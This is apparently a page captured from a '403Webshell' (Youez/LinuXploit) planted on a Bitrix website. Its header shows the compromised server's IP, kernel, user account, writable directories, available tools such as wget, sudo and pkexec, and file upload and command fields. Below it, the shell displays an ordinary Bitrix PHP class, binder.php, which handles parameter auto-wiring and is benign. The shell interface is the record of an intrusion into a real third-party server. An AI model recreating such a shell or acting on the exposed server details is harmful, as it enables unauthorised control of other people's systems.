403Webshell
Server IP : 80.87.202.40  /  Your IP : 216.73.216.169
Web Server : Apache
System : Linux rospirotorg.ru 5.14.0-539.el9.x86_64 #1 SMP PREEMPT_DYNAMIC Thu Dec 5 22:26:13 UTC 2024 x86_64
User : bitrix ( 600)
PHP Version : 8.2.27
Disable Function : NONE
MySQL : OFF |  cURL : ON |  WGET : ON |  Perl : ON |  Python : OFF |  Sudo : ON |  Pkexec : ON
Directory :  /home/bitrix/ext_www/rospirotorg.ru/bitrix/modules/main/lib/engine/autowire/

Upload File :
current_dir [ Writeable] document_root [ Writeable]

 

Command :


[ Back ]     

Current File : /home/bitrix/ext_www/rospirotorg.ru/bitrix/modules/main/lib/engine/autowire/binder.php
<?php

namespace Bitrix\Main\Engine\AutoWire;

use Bitrix\Main\DI\ServiceLocator;
use Bitrix\Main\ObjectNotFoundException;
use Bitrix\Main\Result;
use Bitrix\Main\Validation\Engine\AutoWire\ValidationChecker;
use Psr\Container\NotFoundExceptionInterface;

class Binder
{
	const STATUS_FOUND     = true;
	const STATUS_NOT_FOUND = false;

	private $instance;
	private $method;
	/** @var array */
	private $configuration = [];
	/** @var \SplObjectStorage|Parameter[] */
	private static $globalAutoWiredParameters;
	/** @var Parameter[] */
	private $autoWiredParameters = [];
	/** @var \ReflectionFunctionAbstract */
	private $reflectionFunctionAbstract;
	/** @var array */
	private $methodParams = null;
	/** @var array */
	private $args = null;

	public function __construct($instance, $method, $configuration = [])
	{
		$this->instance = $instance;
		$this->method = $method;
		$this->configuration = $configuration;

		if ($this->instance === null)
		{
			$this->buildReflectionFunction();
		}
		else
		{
			$this->buildReflectionMethod();
		}

	}

	final public static function buildForFunction($callable, $configuration = [])
	{
		return new static(null, $callable, $configuration);
	}

	final public static function buildForMethod($instance, $method, $configuration = [])
	{
		return new static($instance, $method, $configuration);
	}

	private function buildReflectionMethod()
	{
		$this->reflectionFunctionAbstract = new \ReflectionMethod($this->instance, $this->method);
		$this->reflectionFunctionAbstract->setAccessible(true);
	}

	private function buildReflectionFunction()
	{
		$this->reflectionFunctionAbstract = new \ReflectionFunction($this->method);
	}

	/**
	 * @return mixed
	 */
	public function getInstance()
	{
		return $this->instance;
	}

	/**
	 * @return mixed
	 */
	public function getMethod()
	{
		return $this->method;
	}

	/**
	 * @return array
	 */
	public function getConfiguration()
	{
		return $this->configuration;
	}

	/**
	 * @param array $configuration
	 *
	 * @return Binder
	 */
	public function setConfiguration($configuration)
	{
		$this->configuration = $configuration;

		return $this;
	}

	/**
	 * @param Parameter[] $parameters
	 *
	 * @return $this
	 */
	public function setAutoWiredParameters(array $parameters)
	{
		$this->autoWiredParameters = [];
		
		foreach ($parameters as $parameter)
		{
			$this->appendAutoWiredParameter($parameter);
		}
		
		return $this;
	}

	public function appendAutoWiredParameter(Parameter $parameter)
	{
		$this->autoWiredParameters[] = $parameter;

		return $this;
	}

	/**
	 * Register globally auto wired parameter. The method was added in backwards compatibility reason.
	 * @param Parameter $parameter
	 * @return void
	 */
	public static function registerGlobalAutoWiredParameter(Parameter $parameter)
	{
		if (self::$globalAutoWiredParameters === null)
		{
			self::$globalAutoWiredParameters = new \SplObjectStorage();
		}

		if (!self::$globalAutoWiredParameters->contains($parameter))
		{
			self::$globalAutoWiredParameters[$parameter] = $parameter;
		}
	}

	/**
	 * @param Parameter $parameter
	 * @return void
	 */
	public static function unRegisterGlobalAutoWiredParameter(Parameter $parameter): void
	{
		if (self::$globalAutoWiredParameters === null)
		{
			return;
		}

		if (self::$globalAutoWiredParameters->contains($parameter))
		{
			self::$globalAutoWiredParameters->detach($parameter);
		}
	}

	private function getPriorityByParameter(Parameter $parameter)
	{
		return $parameter->getPriority();
	}

	/**
	 * @return Parameter[]
	 */
	public function getAutoWiredParameters()
	{
		return $this->autoWiredParameters;
	}

	public function setSourcesParametersToMap(array $parameters)
	{
		$this->configuration['sourceParameters'] = $parameters;

		return $this;
	}

	public function getSourcesParametersToMap()
	{
		return $this->configuration['sourceParameters']?: [];
	}

	public function appendSourcesParametersToMap(array $parameter)
	{
		if (!isset($this->configuration['sourceParameters']))
		{
			$this->configuration['sourceParameters'] = [];
		}

		$this->configuration['sourceParameters'][] = $parameter;

		return $this;
	}

	/**
	 * Invokes method with binded parameters.
	 * return @mixed
	 */
	final public function invoke()
	{
		try
		{
			if ($this->reflectionFunctionAbstract instanceof \ReflectionMethod)
			{
				return $this->reflectionFunctionAbstract->invokeArgs($this->instance, $this->getArgs());
			}

			if ($this->reflectionFunctionAbstract instanceof \ReflectionFunction)
			{
				return $this->reflectionFunctionAbstract->invokeArgs($this->getArgs());
			}
		}
		catch (\TypeError $exception)
		{
			throw $exception;
//			$this->processException($exception);
		}
		catch (\ErrorException $exception)
		{
			throw $exception;
//			$this->processException($exception);
		}

		return null;
	}

	/**
	 * Returns list of method params.
	 * @return array
	 */
	final public function getMethodParams()
	{
		if ($this->methodParams === null)
		{
			$this->bindParams();
		}

		return $this->methodParams;
	}

	/**
	 * Sets list of method params.
	 * @param array $params List of parameters.
	 *
	 * @return $this
	 */
	final public function setMethodParams(array $params)
	{
		$this->methodParams = $params;
		$this->args = array_values($params);

		return $this;
	}

	/**
	 * Returns list of method params which possible use in call_user_func_array().
	 * @return array
	 */
	final public function getArgs()
	{
		if ($this->args === null)
		{
			$this->bindParams();
		}

		return $this->args;
	}

	private function bindParams()
	{
		$this->args = $this->methodParams = [];

		foreach ($this->reflectionFunctionAbstract->getParameters() as $param)
		{
			$value = $this->getParameterValue($param);
			$this->args[] = $this->methodParams[$param->getName()] = $value;
		}

		return $this->args;
	}

	/**
	 * @param \ReflectionParameter $reflectionParameter
	 *
	 * @return \SplPriorityQueue|Parameter[]
	 */
	private function getAutoWiredByClass(\ReflectionParameter $reflectionParameter)
	{
		$result = new \SplPriorityQueue();
		foreach ($this->getAllAutoWiredParameters() as $parameter)
		{
			if ($parameter->match($reflectionParameter))
			{
				$result->insert($parameter, $this->getPriorityByParameter($parameter));
			}
		}

		return $result;
	}

	/**
	 * @return Parameter[]
	 */
	private function getAllAutoWiredParameters()
	{
		$list = $this->getAutoWiredParameters();
		if (self::$globalAutoWiredParameters)
		{
			foreach (self::$globalAutoWiredParameters as $globalAutoWiredParameter)
			{
				$list[] = $globalAutoWiredParameter;
			}
		}

		return $list;
	}

	protected function constructValue(\ReflectionParameter $parameter, Parameter $autoWireParameter, Result $captureResult): Result
	{
		$result = new Result();

		$constructedValue = $autoWireParameter->constructValue($parameter, $captureResult);

		$result->setData([
			'value' => $constructedValue,
		]);

		return $result;
	}

	/**
	 * @throws NotFoundExceptionInterface
	 * @throws BinderArgumentException
	 * @throws \ReflectionException
	 */
	private function getParameterValue(\ReflectionParameter $parameter)
	{
		$sourceParameters = $this->getSourcesParametersToMap();

		$reflectionType = $parameter->getType();
		if (
			($reflectionType instanceof \ReflectionUnionType)
			|| ($reflectionType instanceof \ReflectionIntersectionType)
		)
		{
			throw new BinderArgumentException(
				"Currently there is no support for union or intersection types {{$parameter->getName()}}",
				$parameter
			);
		}

		if (($reflectionType instanceof \ReflectionNamedType) && !$reflectionType->isBuiltin())
		{
			foreach ($this->getAutoWiredByClass($parameter) as $autoWireParameter)
			{
				$result = $autoWireParameter->captureData($parameter, $sourceParameters, $this->getAllAutoWiredParameters());
				if (!$result->isSuccess())
				{
					continue;
				}

				$constructedValue = null;
				$constructResult = $this->constructValue($parameter, $autoWireParameter, $result);
				if ($constructResult->isSuccess())
				{
					['value' => $constructedValue] = $constructResult->getData();
				}

				if ($constructedValue === null)
				{
					if ($parameter->allowsNull())
					{
						return null;
					}

					if ($parameter->isDefaultValueAvailable())
					{
						return $parameter->getDefaultValue();
					}

					throw new BinderArgumentException(
						"Could not construct parameter {{$parameter->getName()}}",
						$parameter,
						$constructResult->getErrors(),
					);
				}

				(new ValidationChecker($parameter, $constructedValue))->check();

				return $constructedValue;
			}

			$reflectionClass = new \ReflectionClass($reflectionType->getName());
			if ($reflectionClass->isEnum())
			{
				$enum = new \ReflectionEnum($reflectionType->getName());
				$backedType = $enum->getBackingType();
				if ($backedType && $enum->isBacked())
				{
					$backedValue = $this->findParameterInSourceList($parameter->getName(), $status);
					if ($status === self::STATUS_NOT_FOUND)
					{
						if ($parameter->isDefaultValueAvailable())
						{
							return $parameter->getDefaultValue();
						}

						throw new BinderArgumentException(
							"Could not find value for parameter {{$parameter->getName()}}",
							$parameter
						);
					}
					$declarationChecker = new TypeDeclarationChecker($backedType, $backedValue);
					if (!$declarationChecker->isSatisfied())
					{
						throw new BinderArgumentException(
							"Invalid value {{$backedValue}} to match with parameter {{$parameter->getName()}}. Should be value of type {$backedType->getName()}.",
							$parameter
						);
					}

					$enumValue = $reflectionType->getName()::tryFrom($backedValue);
					if ($enumValue)
					{
						return $enumValue;
					}
				}
			}

			if ($parameter->isDefaultValueAvailable())
			{
				return $parameter->getDefaultValue();
			}

			try
			{
				if (class_exists($reflectionType->getName()))
				{
					if ($object = ServiceLocator::getInstance()->get($reflectionType->getName()))
					{
						return $object;
					}
				}
			}
			catch (ObjectNotFoundException $exception)
			{
				throw new BinderArgumentException(
					$exception->getMessage(),
					$parameter
				);
			}

			$exceptionMessage = "Could not find value for parameter to build auto wired argument {{$reflectionType->getName()} \${$parameter->getName()}}";
			if (isset($result) && ($result instanceof Result) && $result->getErrorMessages())
			{
				$exceptionMessage = $result->getErrorMessages()[0];
			}

			throw new BinderArgumentException(
				$exceptionMessage,
				$parameter
			);
		}

		$value = $this->findParameterInSourceList($parameter->getName(), $status);
		if ($status === self::STATUS_NOT_FOUND)
		{
			if ($parameter->isDefaultValueAvailable())
			{
				return $parameter->getDefaultValue();
			}

			throw new BinderArgumentException(
				"Could not find value for parameter {{$parameter->getName()}}",
				$parameter
			);
		}
		if ($reflectionType instanceof \ReflectionNamedType)
		{
			$declarationChecker = new TypeDeclarationChecker($reflectionType, $value);
			if (!$declarationChecker->isSatisfied())
			{
				throw new BinderArgumentException(
					"Invalid value {{$value}} to match with parameter {{$parameter->getName()}}. Should be value of type {$reflectionType->getName()}.",
					$parameter
				);
			}
			if ($declarationChecker->isArray())
			{
				$value = (array)$value;
			}

			(new ValidationChecker($parameter, $value))->check();
		}

		return $value;
	}

	private function findParameterInSourceList($name, &$status)
	{
		$status = self::STATUS_FOUND;
		foreach ($this->getSourcesParametersToMap() as $source)
		{
			if (isset($source[$name]))
			{
				return $source[$name];
			}

			if ($source instanceof \ArrayAccess && $source->offsetExists($name))
			{
				return $source[$name];
			}

			if (is_array($source) && array_key_exists($name, $source))
			{
				return $source[$name];
			}
		}

		$status = self::STATUS_NOT_FOUND;

		return null;
	}
}

Youez - 2016 - github.com/yon3zu
LinuXploit